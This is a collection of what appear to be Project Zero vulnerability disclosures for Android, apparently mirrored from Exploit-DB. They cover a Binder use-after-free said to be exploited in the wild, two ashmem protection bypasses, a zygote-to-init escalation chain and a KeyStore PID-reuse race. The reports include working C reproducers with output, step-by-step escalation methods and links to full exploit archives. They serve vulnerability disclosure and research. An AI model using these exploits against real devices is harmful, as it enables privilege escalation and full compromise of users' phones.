“binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in
a use-after-free.”
The following proof-of-concept will show the UAF crash in a kernel build with KASAN (from initial upstream bugreport at https://lore.kernel.org/lkml/20171213000517.GB62138@gmail.com/):
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main()
{
int fd, epfd;
struct epoll_event event = { .events = EPOLLIN };
fd = open("/dev/binder0", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
}
This issue was patched in Dec 2017 in the 4.14 LTS kernel [1], AOSP android 3.18 kernel [2], AOSP android 4.4 kernel [3], and AOSP android 4.9 kernel [4], but the Pixel 2 with most recent security bulletin is still vulnerable based on source code review.
Other devices which appear to be vulnerable based on source code review are (referring to 8.x releases unless otherwise stated):
1) Pixel 2 with Android 9 and Android 10 preview (https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-q-preview-6/)
2) Huawei P20
3) Xiaomi Redmi 5A
4) Xiaomi Redmi Note 5
5) Xiaomi A1
6) Oppo A3
7) Moto Z3
8) Oreo LG phones (run same kernel according to website)
9) Samsung S7, S8, S9
*We have evidence that this bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline. After 7 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.*
Confirmed this proof-of-concept works on Pixel 2 with build walleye_kasan-userdebug 10 QP1A.191105.0035899767, causing KASAN crash. Proof of concept C code and new.out attached. KASAN console output attached.
I received technical information from TAG and external parties about an Android exploit that is attributed to NSO group. These details included facts about the bug and exploit methodology, including but not limited to:
* It is a kernel privilege escalation using a use-after free vulnerability, accessible from inside the Chrome sandbox.
* The bug was allegedly being used or sold by the NSO Group.
* It works on Pixel 1 and 2, but not Pixel 3 and 3a.
* It was patched in the Linux kernel >= 4.14 without a CVE.
* CONFIG_DEBUG_LIST breaks the primitive.
* CONFIG_ARM64_UAO hinders exploitation.
* The vulnerability is exploitable in Chrome's renderer processes under Android's 'isolated_app' SELinux domain, leading to us suspecting Binder as the vulnerable component.
* The exploit requires little or no per-device customization.
* A list of affected and unaffected devices and their versions, and more. A non-exhaustive list is available in the description of this issue.
Using these details, I have determined that the bug being used is almost certainly the one in this report as I ruled out other potential candidates by comparing patches. A more detailed explanation of this bug and the methodology to identify it will be written up in a forthcoming blog post when I find the time.
We do not currently have a sample of the exploit. Without samples, we have neither been able to confirm the timeline nor the payload.
The bug is a local privilege escalation vulnerability that allows for a full compromise of a vulnerable device. If the exploit is delivered via the web, it only needs to be paired with a renderer exploit, as this vulnerability is accessible through the sandbox.
I’ve attached a local exploit proof-of-concept to demonstrate how this bug can be used to gain arbitrary kernel read/write when run locally. It only requires untrusted app code execution to exploit CVE-2019-2215. I’ve also attached a screenshot (success.png) of the POC running on a Pixel 2, running Android 10 with security patch level September 2019 (google/walleye/walleye:10/QP1A.190711.020/5800535:user/release-keys).
Vendor statement from Android:
"This issue is rated as High severity on Android and by itself requires installation of a malicious application for potential exploitation. Any other vectors, such as via web browser, require chaining with an additional exploit. We have notified Android partners and the patch is available on the Android Common Kernel. Pixel 3 and 3a devices are not vulnerable while Pixel 1 and 2 devices will be receiving updates for this issue as part of the October update."
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47463.zip
This bug report describes two ways in which an attacker can modify the contents
of a read-only ashmem fd. I'm not sure at this point what the most interesting
user of ashmem is in the current Android release, but there are various users,
including Chrome and a bunch of utility classes.
In AOSP master, there is even code in
<https://android.googlesource.com/platform/art/+/master/runtime/jit/jit_memory_region.cc>
that uses ashmem for some JIT zygote mapping, which sounds extremely
interesting.
Android's ashmem kernel driver has an ->mmap() handler that attempts to lock
down created VMAs based on a configured protection mask such that in particular
write access to the underlying shmem file can never be gained. It tries to do
this as follows (code taken from upstream Linux
drivers/staging/android/ashmem.c):
static inline vm_flags_t calc_vm_may_flags(unsigned long prot)
{
return _calc_vm_trans(prot, PROT_READ, VM_MAYREAD) |
_calc_vm_trans(prot, PROT_WRITE, VM_MAYWRITE) |
_calc_vm_trans(prot, PROT_EXEC, VM_MAYEXEC);
}
[...]
static int ashmem_mmap(struct file *file, struct vm_area_struct *vma)
{
struct ashmem_area *asma = file->private_data;
[...]
/* requested protection bits must match our allowed protection mask */
if ((vma->vm_flags & ~calc_vm_prot_bits(asma->prot_mask, 0)) &
calc_vm_prot_bits(PROT_MASK, 0)) {
ret = -EPERM;
goto out;
}
vma->vm_flags &= ~calc_vm_may_flags(~asma->prot_mask);
[...]
if (vma->vm_file)
fput(vma->vm_file);
vma->vm_file = asma->file;
[...]
return ret;
}
This ensures that the protection flags specified by the caller don't conflict
with the ->prot_mask, and it also clears the VM_MAY* flags as needed to prevent
the user from afterwards adding new protection flags via mprotect().
However, it improperly stores the backing shmem file, whose ->mmap() handler
does not enforce the same restrictions, in ->vm_file. An attacker can abuse this
through the remap_file_pages() syscall, which grabs the file pointer of an
existing VMA and calls its ->mmap() handler to create a new VMA. In effect,
calling remap_file_pages(addr, size, 0, 0, 0) on an ashmem mapping allows an
attacker to raise the VM_MAYWRITE bit, allowing the attacker to gain write
access to the ashmem allocation's backing file via mprotect().
Reproducer (works both on Linux from upstream master in an X86 VM and on a
Pixel 2 at security patch level 2019-09-05 via adb):
====================================================================
user@vm:~/ashmem_remap$ cat ashmem_remap_victim.c
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#define __ASHMEMIOC 0x77
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)
int main(void) {
int ashmem_fd = open("/dev/ashmem", O_RDWR);
if (ashmem_fd == -1)
err(1, "open ashmem");
if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))
err(1, "ASHMEM_SET_SIZE");
char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap ashmem");
if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))
err(1, "ASHMEM_SET_SIZE");
mapping[0] = 'A';
printf("mapping[0] = '%c'\n", mapping[0]);
if (dup2(ashmem_fd, 42) != 42)
err(1, "dup2");
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
execl("./ashmem_remap_attacker", "ashmem_remap_attacker", NULL);
err(1, "execl");
}
int status;
if (wait(&status) != child) err(1, "wait");
printf("mapping[0] = '%c'\n", mapping[0]);
}user@vm:~/ashmem_remap$ cat ashmem_remap_attacker.c
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdlib.h>
#include <stdio.h>
int main(void) {
int ashmem_fd = 42;
/* sanity check */
char *write_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);
if (write_mapping == MAP_FAILED) {
perror("mmap ashmem writable failed as expected");
} else {
errx(1, "trivial mmap ashmem writable worked???");
}
char *mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, ashmem_fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap ashmem readonly failed");
if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE) == 0)
errx(1, "mprotect ashmem writable worked???");
if (remap_file_pages(mapping, /*size=*/0x1000, /*prot=*/0, /*pgoff=*/0, /*flags=*/0))
err(1, "remap_file_pages");
if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE))
err(1, "mprotect ashmem writable failed, attack didn't work");
mapping[0] = 'X';
puts("attacker exiting");
}user@vm:~/ashmem_remap$ gcc -o ashmem_remap_victim ashmem_remap_victim.c
user@vm:~/ashmem_remap$ gcc -o ashmem_remap_attacker ashmem_remap_attacker.c
user@vm:~/ashmem_remap$ ./ashmem_remap_victim
mapping[0] = 'A'
mmap ashmem writable failed as expected: Operation not permitted
attacker exiting
mapping[0] = 'X'
user@vm:~/ashmem_remap$
====================================================================
Interestingly, the (very much deprecated) syscall remap_file_pages() isn't even
listed in bionic's SYSCALLS.txt, which would normally cause it to be blocked by
Android's seccomp policy; however, SECCOMP_WHITELIST_APP.txt explicitly permits
it for 32-bit ARM applications:
# b/36435222
int remap_file_pages(void *addr, size_t size, int prot, size_t pgoff, int flags) arm,x86,mips
ashmem supports purgable memory via ASHMEM_UNPIN/ASHMEM_PIN. Unfortunately,
there is no access control for these - even if you only have read-only access to
an ashmem file, you can still mark pages in it as purgable, causing them to
effectively be zeroed out when the system is under memory pressure. Here's a
simple test for that (to be run in an X86 Linux VM):
====================================================================
user@vm:~/ashmem_purging$ cat ashmem_purge_victim.c
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#define __ASHMEMIOC 0x77
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)
int main(void) {
int ashmem_fd = open("/dev/ashmem", O_RDWR);
if (ashmem_fd == -1)
err(1, "open ashmem");
if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))
err(1, "ASHMEM_SET_SIZE");
char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap ashmem");
if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))
err(1, "ASHMEM_SET_SIZE");
mapping[0] = 'A';
printf("mapping[0] = '%c'\n", mapping[0]);
if (dup2(ashmem_fd, 42) != 42)
err(1, "dup2");
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
execl("./ashmem_purge_attacker", "ashmem_purge_attacker", NULL);
err(1, "execl");
}
int status;
if (wait(&status) != child) err(1, "wait");
printf("mapping[0] = '%c'\n", mapping[0]);
}
user@vm:~/ashmem_purging$ cat ashmem_purge_attacker.c
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct ashmem_pin {
unsigned int offset, len;
};
#define __ASHMEMIOC 0x77
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
int main(void) {
struct ashmem_pin pin = { 0, 0 };
if (ioctl(42, ASHMEM_UNPIN, &pin))
err(1, "unpin 42");
/* ensure that shrinker doesn't get skipped */
int ashmem_fd = open("/dev/ashmem", O_RDWR);
if (ashmem_fd == -1)
err(1, "open ashmem");
if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x100000))
err(1, "ASHMEM_SET_SIZE");
char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap ashmem");
if (ioctl(ashmem_fd, ASHMEM_UNPIN, &pin))
err(1, "unpin 42");
/* simulate OOM */
system("sudo sh -c 'echo 2 > /proc/sys/vm/drop_caches'");
puts("attacker exiting");
}
user@vm:~/ashmem_purging$ gcc -o ashmem_purge_victim ashmem_purge_victim.c
user@vm:~/ashmem_purging$ gcc -o ashmem_purge_attacker ashmem_purge_attacker.c
user@vm:~/ashmem_purging$ ./ashmem_purge_victim
mapping[0] = 'A'
attacker exiting
mapping[0] = ''
user@vm:~/ashmem_purging$
====================================================================
After reporting https://bugs.chromium.org/p/project-zero/issues/detail?id=1583
(Android ID 80436257, CVE-2018-9445), I discovered that this issue could also
be used to inject code into the context of the zygote. Additionally, I
discovered a privilege escalation path from zygote to init; that escalation path
is why I'm filing a new bug.
Essentially, the privilege escalation from zygote to init is possible because
system/sepolicy/private/zygote.te contains the following rule:
allow zygote self:capability sys_admin;
(On the current AOSP master branch, the rule looks slightly different, but it's
still there.)
This rule allows processes in the zygote domain to use the CAP_SYS_ADMIN
capability, if they have such a capability. The zygote has the capability and
uses it, e.g. to call umount() and to install seccomp filters without setting
the NO_NEW_PRIVS flag. CAP_SYS_ADMIN is a bit of a catch-all capability: If
kernel code needs to check that the caller has superuser privileges and none of
the capability bits fit the particular case, CAP_SYS_ADMIN is usually used.
The capabilities(7) manpage has a long, but not exhaustive, list of things that
this capability permits:
http://man7.org/linux/man-pages/man7/capabilities.7.html
One of the syscalls that can be called with CAP_SYS_ADMIN and don't have
significant additional SELinux hooks is pivot_root(). This syscall can be used
to switch out the root of the current mount namespace and, as part of that,
change the root of every process in that mount namespace to the new namespace
root (unless the process already had a different root).
The exploit for this issue is in zygote_exec_target.c, starting at
"if (unshare(CLONE_NEWNS))". The attack is basically:
1. set up a new mount namespace with a root that is fully attacker-controlled
2. execute crash_dump64, causing an automatic transition to the crash_dump
domain
3. the kernel tries to load the linker for crash_dump64 from the
attacker-controlled filesystem, resulting in compromise of the crash_dump
domain
4. from the crash_dump domain, use ptrace() to inject syscalls into vold
5. from vold, set up a loop device with an attacker-controlled backing device
and mount the loop device over /sbin, without "nosuid"
6. from vold, call request_key() with a nonexistent key, causing a
usermodehelper invocation to /sbin/request-key, which is labeled as
init_exec, causing an automatic domain transition from kernel to init (and
avoiding the "neverallow kernel *:file { entrypoint execute_no_trans };"
aimed at stopping exploits using usermodehelpers)
7. code execution in the init domain
Note that this is only one of multiple possible escalation paths; for example,
I think that you could also enable swap on an attacker-controlled file, then
modify the swapped-out data to effectively corrupt the memory of any userspace
process that hasn't explicitly locked all of its memory into RAM.
In order to get into the zygote in the first place, I have to trigger
CVE-2018-9445 twice:
1. Use the bug to mount a "public volume" with a FAT filesystem over /data/misc.
2. Trigger the bug again with a "private volume" with a dm-crypt-protected
ext4 filesystem that will be mounted over /data. To decrypt the volume, a key
from /data/misc/vold/ is used.
3. Cause system_server to crash in order to trigger a zygote reboot. For this,
the following exception is targeted:
*** FATAL EXCEPTION IN SYSTEM PROCESS: NetworkStats
java.lang.NullPointerException: Attempt to get length of null array
at com.android.internal.util.FileRotator.getActiveName(FileRotator.java:309)
at com.android.internal.util.FileRotator.rewriteActive(FileRotator.java:183)
at com.android.server.net.NetworkStatsRecorder.forcePersistLocked(NetworkStatsRecorder.java:300)
at com.android.server.net.NetworkStatsRecorder.maybePersistLocked(NetworkStatsRecorder.java:286)
at com.android.server.net.NetworkStatsService.performPollLocked(NetworkStatsService.java:1194)
at com.android.server.net.NetworkStatsService.performPoll(NetworkStatsService.java:1151)
at com.android.server.net.NetworkStatsService.-wrap3(Unknown Source:0)
at com.android.server.net.NetworkStatsService$HandlerCallback.handleMessage(NetworkStatsService.java:1495)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:164)
at android.os.HandlerThread.run(HandlerThread.java:65)
This exception can be triggered by sending >=2MiB (mPersistThresholdBytes) of
network traffic to the device, then either waiting for the next periodic
refresh of network stats or changing the state of a network interface.
4. The rebooting zygote64 does dlopen() on
/data/dalvik-cache/arm64/system@framework@boot.oat, resulting in code
execution in the zygote64. (For the zygote64 to get to this point, it's
sufficient to symlink
/data/dalvik-cache/arm64/system@framework@boot.{art,vdex} to their
counterparts on /system, even though that code isn't relocated properly.)
I have attached an exploit for the full chain, with usage instructions in USAGE.
WARNING: As always, this exploit is intended to be used only on research devices that don't store user data. This specific exploit is known to sometimes cause data corruption.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45379.zip
The keystore binder service ("android.security.IKeystoreService") allows users to issue several commands related to key management, including adding, removing, exporting and generating cryptographic keys. The service is accessible to many SELinux contexts, including application contexts, but also unprivileged daemons such as "media.codec".
Binder calls to this service are unpacked by IKeyStoreService (http://androidxref.com/8.0.0_r4/xref/system/security/keystore/IKeystoreService.cpp), and are then passed on to be processed by KeyStoreService. The "generateKey" command is handled by "KeyStoreService::generateKey" (http://androidxref.com/8.0.0_r4/xref/system/security/keystore/key_store_service.cpp#691). Here is a snippet from this function:
1. KeyStoreServiceReturnCode KeyStoreService::generateKey(const String16& name,
2. const hidl_vec<KeyParameter>& params,
3. const hidl_vec<uint8_t>& entropy, int uid,
4. int flags,
5. KeyCharacteristics* outCharacteristics) {
6. uid = getEffectiveUid(uid);
7. KeyStoreServiceReturnCode rc =
8. checkBinderPermissionAndKeystoreState(P_INSERT, uid, flags & KEYSTORE_FLAG_ENCRYPTED);
9. if (!rc.isOk()) {
10. return rc;
11. }
12. if ((flags & KEYSTORE_FLAG_CRITICAL_TO_DEVICE_ENCRYPTION) && get_app_id(uid) != AID_SYSTEM) {
13. ALOGE("Non-system uid %d cannot set FLAG_CRITICAL_TO_DEVICE_ENCRYPTION", uid);
14. return ResponseCode::PERMISSION_DENIED;
15. }
16.
17. if (containsTag(params, Tag::INCLUDE_UNIQUE_ID)) {
18. if (!checkBinderPermission(P_GEN_UNIQUE_ID)) return ResponseCode::PERMISSION_DENIED;
19. }
20. ...
21. }
Like most KeyStore calls, this method uses "KeyStoreService::checkBinderPermission" in order to validate the calling process's permissions. This function uses a twofold approach to verify the caller (http://androidxref.com/8.0.0_r4/xref/system/security/keystore/key_store_service.cpp#checkBinderPermission):
1. The caller's UID is retrieved using IPCThreadState::self()->getCallingUid() and compared against an array of pre-populated UIDs and permissions ("user_perms")
1.1 If the UID matches any in the array, its permission set is retrieved from the array
1.2 If the UID isn't in the array, the default permission set is used ("DEFAULT_PERMS")
2. The caller's SELinux context is retrieved using getpidcon(...) using the PID from the binder transaction (IPCThreadState::self()->getCallingPid())
2.1 An SELinux access check is performed for the given context and operation
Specifically to our case, if a "generateKey" command is called with a "INCLUDE_UNIQUE_ID" tag, the KeyStore will use an attestation certificate for the generated key with an application-scoped and time-bounded device-unique ID. Since creating attestation keys is a privileged operation, it should not be carried out by any user.
This restriction is enforced using the SELinux context enforcement alone -- the "default" permission set ("DEFAULT_PERMS") contains the aforementioned permission:
static const perm_t DEFAULT_PERMS = static_cast<perm_t>(
P_GET_STATE | P_GET | P_INSERT | P_DELETE | P_EXIST | P_LIST | P_SIGN | P_VERIFY |
P_GEN_UNIQUE_ID /* Only privileged apps can do this, but enforcement is done by SELinux */);
As noted in the comment above, this API is restricted to "priv_app" SELinux contexts, which is enforced using validation #2 above.
However, using the calling PID in order to enforce access controls in binder calls is an invalid approach. This is since the calling PID can transition from zombie to dead, allowing other PIDs to take its place. Therefore, the following attack flow is possible:
1. Process A forks and creates process B
2. Process A cycles pids until it reaches the pid before its own
3. Process B issues a binder transaction for the KeyStore service, containing an INCLUDE_UNIQUE_ID tag
4. Process A kills process B, allowing it to transition to dead
5. Process A spawns a new "priv_app" instance, occupying process B's PID
If points 4-5 are completed before the KeyStore service performs the "getpidcon" call, the permission check will use the new app's SELinux context, allowing the access control checks to pass. Otherwise, since no ill effects happen if the race fails, an attacker can continue issuing calls until the race succeeds.
As for spawning a new "priv_app" instance, this can be achieved by issuing a query request to a content provider published by a "priv_app". Many such providers exist (the contacts provider, telephony provider, settings provider, etc.). In this case, I chose to use the "calendar" provider, as it was not running on the device to begin with (and is therefore had to be spawned in order to handle the query request).
In order to expand the timing window for the PoC, I've added a "sleep" call to the KeyStore service's "generateKey" call. You can find the patch under "keystore.diff".
After applying the patch, the attached PoC should be built as part of the Android source tree, by extracting the source files into "frameworks/native/cmds/keystorerace", and running a build (e.g., "mmm keystorerace"). The resulting binary ("keystorerace") contains the PoC code. Running it should result in a new device-unique key being generated, despite not being executed from a "priv_app".
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43996.zip